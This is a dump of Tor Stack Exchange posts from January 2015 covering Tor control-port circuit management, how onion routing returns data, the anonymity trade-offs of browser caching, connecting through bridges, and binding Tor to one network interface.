  <row Id="4957" PostTypeId="2" ParentId="4928" CreationDate="2015-01-06T21:32:43.130" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Does anyone know how I can programmatically change the exit for each SockPort separately?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I didn't see this in control-spec. It's an interesting problem. If you have multiple &lt;code&gt;SocksPort&lt;/code&gt;, and are using applications which are configured to use a &lt;em&gt;specific&lt;/em&gt; &lt;code&gt;SocksPort&lt;/code&gt;, there is a less-than-elegant solution. Specific to application traffic the Tor process maintains &lt;code&gt;StreamID&lt;/code&gt; and &lt;code&gt;CircuitID&lt;/code&gt;. You can use &lt;code&gt;GETINFO stream-status&lt;/code&gt; to associate application &lt;code&gt;StreamID&lt;/code&gt; with &lt;code&gt;CircuitID&lt;/code&gt;. Applications can have multiple streams though so this could only help if application traffic can be identified using &lt;code&gt;Target&lt;/code&gt;. Another possible way to identify an application stream is by using &lt;code&gt;SETEVENTS STREAM&lt;/code&gt; then watch events having &lt;code&gt;StreamStatus=NEW*&lt;/code&gt; from an application's &lt;code&gt;SOURCE_ADDR&lt;/code&gt;. I suppose if the application only creates a single stream at a time it would also work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would also need to set the &lt;code&gt;SessionGroup=INT&lt;/code&gt; isolation flag for each &lt;code&gt;SocksPort&lt;/code&gt;. Give each &lt;code&gt;SocksPort&lt;/code&gt; it's own INT group and &lt;em&gt;applications won't share circuits&lt;/em&gt;. All the streams on a particular circuit will be associated with the applications using a &lt;code&gt;SocksPort&lt;/code&gt;. It helps if only a single application uses each &lt;code&gt;SocksPort&lt;/code&gt;. This makes the next part more useful (and practical).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, &lt;code&gt;CLOSECIRCUIT&lt;/code&gt; the &lt;code&gt;CircuitID&lt;/code&gt; that an application (identified by a stream, circuit, target combination) is using. Now in the future that application will use a new general-purpose circuit (if &lt;code&gt;__LeaveStreamsUnattached&lt;/code&gt; is default). The application needs to know it has to create a new connection. In other words, you're essentially interrupting any existing streams on the circuit, which is less elegant than issuing &lt;code&gt;SIGNAL NEWNYM&lt;/code&gt;. In the latter case the existing streams aren't interrupted but rather new streams are attached to a new circuit. This might not be a big deal if you usually initiate a new connection from the application after &lt;code&gt;SIGNAL NEWNYM&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It depends on the applications though. If the applications break in unpredicatable ways when existing connections are interrupted you should be prepared. You'll find the documentation for &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;SessionGroup in Tor's manual&lt;/a&gt; and the rest in &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt&quot; rel=&quot;nofollow&quot;&gt;control-spec&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a way to assign a separate control port to each &lt;code&gt;SocksPort&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Nope.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;or tell the control port to change the exit node for a specific &lt;code&gt;SocksPort&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Nope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it's not what you were hoping for but I hope that helps! You might also find &lt;a href=&quot;https://txtorcon.readthedocs.org/&quot; rel=&quot;nofollow&quot;&gt;txtorcon&lt;/a&gt; useful for this task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- leeroy&lt;/p&gt;&#xA;" OwnerDisplayName="user5341" LastEditorDisplayName="user5341" LastEditDate="2015-01-06T22:17:03.277" LastActivityDate="2015-01-06T22:17:03.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4958" PostTypeId="1" AcceptedAnswerId="5959" CreationDate="2015-01-07T00:56:52.813" Score="11" ViewCount="1401" Body="&lt;p&gt;I understand how the client sends the data through Tor to the sever. &lt;a href=&quot;http://en.wikipedia.org/wiki/Onion_routing#Onion_creation_and_transmission&quot;&gt;Onion routing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, it selects a set of nodes to form a circuit, say nodeA nodeB nodeC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It then encrypts the data this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. Encrypt it using nodeC's key, append server's address.&#xA;2. Encrypt it using nodeB's key, append nodeC's address.&#xA;3. Encrypt it using nodeA's key, append nodeB's address.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The data then travels the circuit this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Me -&gt; nodeA (decrypt it) -&gt; nodeB (decrypt) -&gt; nodeC (decrypt) -&gt; Server&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. I send the data to nodeA. nodeA decrypts it and will now know where to send the data next.&#xA;2. nodeA sends the data to nodeB. nodeB decrypts it and will now know where to send the data next.&#xA;3. nodeB sends the data to nodeC. nodesC decrypts it and will now know where to send the data next.&#xA;4. nodeC sends the data to the server.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I don't get is, when the server replies, how is the data encrypted and/or sent back to me.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. Does the exit node know who I am and sends the reply back the way I send the data to the server (construct a circuit)?&#xA;2. Is the session maintained, if so, how is the data encrypted between the nodes?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5471" LastActivityDate="2015-01-07T17:57:48.410" Title="How is data sent back from exit node to me?" Tags="|relays|exit-relays|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4959" PostTypeId="1" AcceptedAnswerId="5958" CreationDate="2015-01-07T01:51:58.193" Score="0" ViewCount="1363" Body="&lt;p&gt;Clicking the following link: &lt;a href=&quot;https://tails.boum.org/forum/How_do_you_chain_a_proxy_after_TOR___63__/&quot; rel=&quot;nofollow&quot;&gt;https://tails.boum.org/forum/How_do_you_chain_a_proxy_after_TOR___63__/&lt;/a&gt; on this question: &lt;a href=&quot;https://tor.stackexchange.com/questions/4062/tails-os-configuring-proxychains-for-tor-socks5-proxy&quot;&gt;TAILS os: configuring proxychains for tor &amp;gt; socks5 proxy&lt;/a&gt; resulted in this message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;403 Forbidden &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Forbidden&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't have permission to access /forum/How_do_you_chain_a_proxy_after_TOR___63__/ on this server.&#xA;Apache/2.2.22 (Debian) Server at tails.boum.org Port 443&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the problem?&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2015-01-07T02:06:18.687" LastActivityDate="2015-01-07T17:58:46.513" Title="What does this message mean? You don't have permission to access /forum/How_do_you_chain_a_proxy_after_TOR___63__/ on this server.?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4960" PostTypeId="1" CreationDate="2015-01-07T03:02:46.760" Score="6" ViewCount="5695" Body="&lt;p&gt;I have stumbled upon the idea of &lt;a href=&quot;https://web.archive.org/web/20181102030148/https://addons.mozilla.org/en-US/firefox/addon/safecache/reviews/&quot; rel=&quot;nofollow noreferrer&quot;&gt;disabling cache&lt;/a&gt; - &lt;a href=&quot;https://web.archive.org/web/20210118081650/http://geekswithblogs.net/AskPaula/archive/2011/05/19/145440.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;completely&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;On one hand, I am thinking that due to having to load all elements afresh when visiting a page, I appear more like a fresh 'New Identity' (thus decreasing linkability and trackability across Tor IPs within one Identity), EVERY single time I load a page; but then I'm wondering how much of a fingerprinting issue it also raises, &lt;em&gt;decreasing&lt;/em&gt; anonymity instead.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Is it a case of an anonymity trade-off?&lt;/strong&gt; (An analogy would be: using an email masking service where you're trading having 1000 websites all knowing your email address and having it stored on all of their vulnerable, breachable servers, for ONE website having the outline to your entire digital life and storing those same 1000 sites in one solitary but juicy basket, on THEIR potentially, equally breachable server.)&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Would it be a similar trade-off here?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Perhaps it depends what other anti-tracking add-ons and settings you have enabled. For me, I have:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;NoScript set to global blocking&lt;/li&gt;&#xA;&lt;li&gt;Third party cookies blocked via FF settings&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/20181125071651/https://addons.mozilla.org/en-US/firefox/addon/self-destructing-cookies/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Self-Destructing Cookies&lt;/a&gt; with default set to expire 'after you close the tab' (so I assume with such cookie sanitizing I will more properly look like a truly fresh user on &lt;em&gt;every&lt;/em&gt; given page)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/20181103004601/https://addons.mozilla.org/en-US/firefox/addon/refcontrol/&quot; rel=&quot;nofollow noreferrer&quot;&gt;RefControl&lt;/a&gt; with default set to 'no referrer' (again, making sure that I truly come across to every page as if I've literally entered the URL into the address bar and visited the page for the first time, ever)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/20181125165110/https://addons.mozilla.org/en-US/firefox/addon/requestpolicy/&quot; rel=&quot;nofollow noreferrer&quot;&gt;RequestPolicy&lt;/a&gt; to massively sandbox every domain I visit to keep other domains from knowing I'm visiting that domain (via blocking third-part cross-site images, scripts, css, scripts, objects, etc.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;layout.css.visited_links_enabled&lt;/code&gt; set to &lt;strong&gt;false&lt;/strong&gt; in &lt;code&gt;about:config&lt;/code&gt; (to plug &lt;a href=&quot;https://blog.mozilla.org/security/2010/03/31/plugging-the-css-history-leak/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; in case you have enabled history)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/20181124002752/https://addons.mozilla.org/en-US/firefox/addon/flashblock/&quot; rel=&quot;nofollow noreferrer&quot;&gt;FlashBlock&lt;/a&gt; and &lt;a href=&quot;https://web.archive.org/web/20171111051051/https://addons.mozilla.org/en-US/firefox/addon/betterprivacy/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BetterPrivacy&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/20181106044719/https://addons.mozilla.org/en-US/firefox/addon/http-nowhere/&quot; rel=&quot;nofollow noreferrer&quot;&gt;HTTP Nowhere&lt;/a&gt; to block EVERY HTTP connection in the entire Tor Browser (short of direct handshakes to establish a domain's HTTPS with the Firefox default trusted CA store)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And the only exception to all this stringent blocking, is custom (often temporary) whitelisting/unblocking for sites I want to use more functionality on, which largely thanks to &lt;a href=&quot;https://web.archive.org/web/20181125165110/https://addons.mozilla.org/en-US/firefox/addon/requestpolicy/&quot; rel=&quot;nofollow noreferrer&quot;&gt;RequestPolicy&lt;/a&gt; are still very much sandboxed even with things like JavaScript and session cookies enabled.&lt;/p&gt;&#xA;&lt;p&gt;So although it's very unusual behaviour, I'm guessing that it still gives stronger anonymity for &lt;em&gt;each individual site&lt;/em&gt; I visit, via my stringent blocking of cross-site object tracking. I simply come off as a phantom user, someone maybe visiting the page from a saved bookmark, just with a Tor IP / User Agent / HTTP_ACCEPT Headers, no previous identifiable cookie, and a few other 'blank' returns that just make me look like a total unlinkable (but unique) ghost, to that &lt;em&gt;one&lt;/em&gt; site.&lt;/p&gt;&#xA;&lt;p&gt;To me, that's anonymous, IF that unique behaviour can't be linked, by that website's sysadmin, to other sites, which unless there was some collaboration or communication between the two (and it would have to be so for every single site on the web, two-way), I don't think is likely.&lt;/p&gt;&#xA;&lt;p&gt;Or is the issue, that parties like the &lt;em&gt;NSA&lt;/em&gt;, who are hoovering EVERYTHING up in their servers, will be the ones that can detect this extremely unique fingerprint across multiple sites, and so this being useless against the NSA and I should just fall back to 'crowd anonimity' once more?&lt;/p&gt;&#xA;&lt;p&gt;Is it a case of, would I rather look more anonymous to the NSA, or more anonymous to each website that I visit on the Internet?&lt;/p&gt;&#xA;&lt;p&gt;If so, is there a set of behaviours that can then combine the best of both worlds, with more knowledge of how TBB's &lt;em&gt;default&lt;/em&gt; crowd behaviour of cache expiry, cookie settings, session length (how quickly things are 'reset' by default in TBB &lt;em&gt;already&lt;/em&gt;), and other such fingerprinting considerations, work?&lt;/p&gt;&#xA;" OwnerDisplayName="user1006" LastEditorUserId="14997" LastEditorDisplayName="user1006" LastEditDate="2022-08-08T18:02:28.857" LastActivityDate="2022-08-08T18:02:28.857" Title="Will disabling caching in Tor Browser increase anonymity, or decrease it?" Tags="|tor-browser-bundle|anonymity|fingerprinting|add-on|settings|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4961" PostTypeId="5" CreationDate="2015-01-07T03:33:41.567" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2015-01-07T03:33:41.567" LastActivityDate="2015-01-07T03:33:41.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4962" PostTypeId="4" CreationDate="2015-01-07T03:33:41.567" Score="0" Body="Information about network security" OwnerUserId="13098" LastEditorUserId="88" LastEditDate="2016-06-03T15:19:36.190" LastActivityDate="2016-06-03T15:19:36.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5956" PostTypeId="2" ParentId="4727" CreationDate="2015-01-07T08:35:48.830" Score="1" Body="&lt;p&gt;The log you have provided, appears to indicate problem connecting to Tor Directory Authorities, most likely because it is somehow blocked. If this diagnosis is correct you may have some options you can try.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use a bridge. This way if direct connection to directory authorities is not possible, the directory authorities try to connect through a bridge.&lt;/li&gt;&#xA;&lt;li&gt;Use Obfsproxy bridges. If the use of regular bridges do not solve your problem.&lt;/li&gt;&#xA;&lt;li&gt;If The use of Web proxy or VPN  services are allowed in your community, you may use these services to connect to Tor. The preferance is to use a free VPN and/or Web proxy so that you leave no money trail. The other advantage of this method is that your ISP or whoever is blocking you connection to the directory authorities would have difficulty figureing out you have connected to Tor. However, the VPN or Web proxy service you use would know that. Thus, it is best to choose a VPN or Web proxy service out of your area which should not be under control or influence of your ISP or whoever is blocking your connection to directory authorities.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If non of these methods worked, there is a bigger problem that should be diagnosed first,  before one can provide a solution.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="88" LastEditDate="2016-06-15T06:47:02.833" LastActivityDate="2016-06-15T06:47:02.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5958" PostTypeId="2" ParentId="4959" CreationDate="2015-01-07T17:27:21.653" Score="1" Body="&lt;p&gt;Looks like the forum running on Tails.boum.org has been &lt;a href=&quot;https://tails.boum.org/news/report_2013_06/index.en.html&quot; rel=&quot;nofollow&quot;&gt;closed&lt;/a&gt;. However I found the link content from the Git repo &lt;a href=&quot;https://git-tails.immerda.ch/tails/plain/wiki/src/forum/How_do_you_chain_a_proxy_after_TOR___63__.mdwn?h=bugfix/browser-resizing&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="3772" LastEditorDisplayName="user5341" LastEditDate="2015-01-07T17:58:46.513" LastActivityDate="2015-01-07T17:58:46.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5959" PostTypeId="2" ParentId="4958" CreationDate="2015-01-07T17:57:48.410" Score="6" Body="&lt;p&gt;This is a common question that everyone stumbles upon while understanding TOR Design. When the data is sent back to the user, each relay encrypts the data using the session key which was exchanged with the user and then only when it reaches the user, it decrypts it using the session keys and retrieves the original data.&#xA;Using your example,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Server replies to NodeC. Node C encrypts it using session key and sends encrypted data to Node B.&lt;/li&gt;&#xA;  &lt;li&gt;Node B encrypts the data again using session key it had exchanged with user and sends it to Node A.&lt;/li&gt;&#xA;  &lt;li&gt;Node A again encrypts it using session key it had exchanged with user and then sends it to user.&lt;/li&gt;&#xA;  &lt;li&gt;The user now gets the encrypted data and decrypts it again like peeling an onion.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3772" LastActivityDate="2015-01-07T17:57:48.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5960" PostTypeId="2" ParentId="4960" CreationDate="2015-01-07T19:47:14.703" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it a case of, would I rather look more anonymous to the NSA, or more anonymous to each website that I visit on the Internet?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Largely all of your concerns are addressed by Tor Browser. From a useability perspective blocking the referrer would break some sites. I think it's interesting that we rarely hear about consequences of individual websites attacking a person's privacy. Rather we hear about the protests precisely because of the consequences if 'Big Brother' can get their hands on this data.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To me, that's anonymous, IF that unique behavior can't be linked, by that website's sysadmin, to other sites [..]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;True, this is one way of looking at the impact of caching. From the perspective of a website. Consider, however, that these same sites could look at how many of their guest users use Tor Browser and your customizations. If you're one of a few on Tor they can look at your use of Tor Browser, and your use of exits, as examples of fingerprinting.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Or is the issue, that parties like the NSA, who are hoovering &lt;strong&gt;EVERYTHING&lt;/strong&gt; up in their servers [..]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is where your choice of disabling caching will be to your detriment. These surveillance organizations aren't just looking at exiting traffic. They also look at your Tor client and it's interaction with your entry guards. If caching is disabled entirely it presents (potentially many) more opportunities to perform a correlation-attack against client-to-guard, and exit-to-site. You can expect these organizations are &lt;em&gt;really&lt;/em&gt; good at positioning themselves. It also presents the opportunity to perform website traffic fingerprinting based on a known signature of accessing some site. If you use a particular site and your adversary knows this, you've just given them (potentially many) copies of a reproduce-able fingerprint.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If so, is there a set of behaviors that can then combine the best of both worlds [..]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is exactly the choice Tor Browser makes. Caching isn't disabled entirely because, subjectively, the greatest modern threat against your online privacy won't come from collaborating websites. For that case you fall back to crowd anonymity -- and it doesn't always work. (You may be the only one viewing a site using Tor, or be identified by your Browser configuration). The 'new identity' feature is designed around this threat (and leaving persistent traces). The protocol, and caching as it stands, has the objective of preventing surveillance in general.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;nofollow&quot;&gt;Tor Browser's design document&lt;/a&gt; should put your mind at ease. Except maybe for bugs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- leeroy&lt;/p&gt;&#xA;" OwnerDisplayName="user5341" LastActivityDate="2015-01-07T19:47:14.703" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="5961" PostTypeId="2" ParentId="599" CreationDate="2015-01-07T20:12:44.213" Score="2" Body="&lt;p&gt;To minimize influence of such trackers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;write captcha in search box (or elsewhere) then paste it into CAPTCHA input. I guess in case the operator CAN record speed of typing text to identify the user.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;to protect against browser fingerprinting (check out &lt;a href=&quot;https://panopticlick.eff.org&quot; rel=&quot;nofollow&quot;&gt;Panopticlick by EFF&lt;/a&gt;) try this firefox addon: &lt;a href=&quot;https://github.com/dillbyrne/random-agent-spoofer&quot; rel=&quot;nofollow&quot;&gt;Random Agent Spoofer&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;randomizes reported screen size and depth (manual install of addon needed for this option)&lt;/li&gt;&#xA;&lt;li&gt;randomizes browser profile, timezone etc&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6474" LastEditorUserId="923" LastEditDate="2015-01-08T00:24:20.350" LastActivityDate="2015-01-08T00:24:20.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5962" PostTypeId="2" ParentId="4348" CreationDate="2015-01-07T21:34:22.327" Score="1" Body="&lt;p&gt;Running a Tor relay, a Tor Browser and a web server on the same host does not make either of them more vulnerable or identifiable. But running a relay means that your IP is publicly advertised, which could get any internet-facing service on your host more 'attention' than it would get otherwise. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-01-07T21:34:22.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5963" PostTypeId="2" ParentId="4390" CreationDate="2015-01-07T22:03:03.290" Score="1" Body="&lt;p&gt;Every aspect of accessing a hidden service takes place within the Tor network. No exit nodes need to be involved. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The process is well explained here: &lt;a href=&quot;https://www.torproject.org/docs/hidden-services.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor: Hidden Service Protocol&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;... the client can initiate connection establishment by downloading the descriptor from the distributed hash table.  ...  the client now knows the set of introduction points and the right public key to use. Around this time, the client also creates a circuit to another randomly picked relay and asks it to act as rendezvous point by telling it a one-time secret.  ...  the client sends an introduce message including the address of the rendezvous point and the one-time secret to one of the introduction points  ...  The service creates a circuit to the rendezvous point and sends the one-time secret to it in a rendezvous message...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-01-07T22:03:03.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5964" PostTypeId="1" CreationDate="2015-01-07T23:45:42.743" Score="4" ViewCount="2778" Body="&lt;p&gt;As the title says - I have two network interfaces on my computer and I want to bind/lock Tor to strictly use only one of them. How do I achieve that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried doing it with the application &quot;ForceBindIP&quot; ( &lt;a href=&quot;http://old.r1ch.net/stuff/forcebindip/&quot; rel=&quot;nofollow&quot;&gt;http://old.r1ch.net/stuff/forcebindip/&lt;/a&gt; ), but it didn´t work. The starting window of Tor (Tor Status. Connecting to the Tor network) freezes for about half a minute and the green colured progression meter never shows up. Then a message is displayed - &quot;Could not connect to Tor control port&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Experimenting further with &quot;ForceBindIP&quot; I immediately got it to work perfectly well with other &quot;normal&quot; web browsers like Chrome and Opera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My OS is Windows 7 and Tor Browser 4.0.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing out here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your help is highly appreciated. Thanks a lot in advance!&lt;/p&gt;&#xA;" OwnerUserId="6476" LastEditorUserId="923" LastEditDate="2015-01-08T00:22:15.117" LastActivityDate="2015-12-29T18:57:47.990" Title="Two Internet connections - how bind/lock Tor to use only one of them?" Tags="|tor-browser-bundle|anonymity|configuration|help|network-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5965" PostTypeId="2" ParentId="5964" CreationDate="2015-01-08T00:30:39.997" Score="2" Body="&lt;p&gt;From &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor's manual&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;OutboundBindAddress IP&lt;/p&gt;&#xA;&lt;p&gt;Make all outbound connections originate from the IP address specified. This is only useful when you have multiple network interfaces, and you want all of Tor’s outgoing connections to use a single one.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;If Tor's process is running locally that should be it. Don't use ForceBindIP with Tor. All the binding settings can be configured in torrc. Mostly this is for your protection. The default control port and socks port binds to localhost. So you should only have to worry about OutboundBindAddress unless you have special needs from your system configuration.&lt;/p&gt;&#xA;&lt;p&gt;torrc can be found in Browser/TorBrowser/Data/Tor/ if you use Tor Browser or Data/Tor/ if you use Tor standalone.&lt;/p&gt;&#xA;&lt;p&gt;-- leeroy&lt;/p&gt;&#xA;" OwnerDisplayName="user5341" LastEditorUserId="-1" LastEditorDisplayName="user5341" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2015-01-08T00:42:27.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5966" PostTypeId="1" CreationDate="2015-01-08T08:18:27.980" Score="4" ViewCount="287" Body="&lt;p&gt;If the NSA is listening and recording at the (very often unecrypted) end where the Tor exit relay meets the Internet, noting all the fingerprinting information (as the webserver interacts with the Tor exit relay) which we strive so much to minimize, then I wonder how much 'plausible deniability' (so to speak) there is - fingerprinting aside - for a given Tor user at a given site, at a given time. (E.g. if two Tor users with the exact same browser fingerprint - say 100% untouched default settings of the same exact TB version - visit the site on the same exit node, perhaps they are 100% indistinguishable to even the NSA for that Internet record.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there multiple Tor users using the same IP (on the same site) at once, and if so, how many does it tend to be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am assuming that the more, the more anonymous, and safe (so long as the exit node can handle it and not make it unusable for everyone); users sharing the same IP, especially if all coming from different middle nodes, is a good scenario for Tor user anonymity, and 'crowd anonymity' with fingerprinting becomes especially important when it comes to an adversary like the ever-wiretapping NSA.&lt;/p&gt;&#xA;" OwnerDisplayName="user1006" LastActivityDate="2016-06-22T10:59:23.573" Title="How many 'peers' will be served by the average exit relay at any given time?" Tags="|anonymity|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5967" PostTypeId="1" AcceptedAnswerId="5973" CreationDate="2015-01-08T14:49:31.460" Score="2" ViewCount="48" Body="&lt;p&gt;Hey just looking for some clarification on something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When creating a standard three hop circuit, if for some reason the client (Alice) does not receive a response from the third OR does she retry the same or assume the packet had gotten lost ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or chooses a new circuit completely?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3075" LastEditorUserId="923" LastEditDate="2015-01-09T00:13:42.977" LastActivityDate="2015-01-09T14:21:20.063" Title="What happens during circuit creation if one OR fails?" Tags="|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5969" PostTypeId="1" CreationDate="2015-01-08T15:46:04.697" Score="1" ViewCount="23" Body="&lt;p&gt;Have been reading the one cell is enough to break anonymity paper, and just have a question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once a circuit has been successfully created, can the final node of the circuit encrypt a piece of data and send it back through the circuit, or can it only do this when a TCP stream have been set up, and if so regrading the stream, could a extra packet be inserted into the stream?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys&lt;/p&gt;&#xA;" OwnerUserId="3075" LastEditorUserId="88" LastEditDate="2015-07-03T20:26:12.327" LastActivityDate="2015-07-03T20:26:12.327" Title="Final relay able to encrypt data to the client?" Tags="|attacks|deanonymization|protocol|" AnswerCount="0" CommentCount="1" FavoriteCount="0" ClosedDate="2015-07-03T20:27:43.213" ContentLicense="CC BY-SA 3.0" />
  <row Id="5970" PostTypeId="2" ParentId="4744" CreationDate="2015-01-08T15:46:38.990" Score="0" Body="&lt;p&gt;The Tor browser is actually Firefox. When I went on Tripadvisor with a new account I saw a browser notice that TA was trying to use 'cross-site scripting XSS'and it was blocked. TripAdvisor may just disable accounts who consistently block their scurrilous attempts to learn your identity by stealth. &lt;/p&gt;&#xA;" OwnerUserId="6483" LastActivityDate="2015-01-08T15:46:38.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
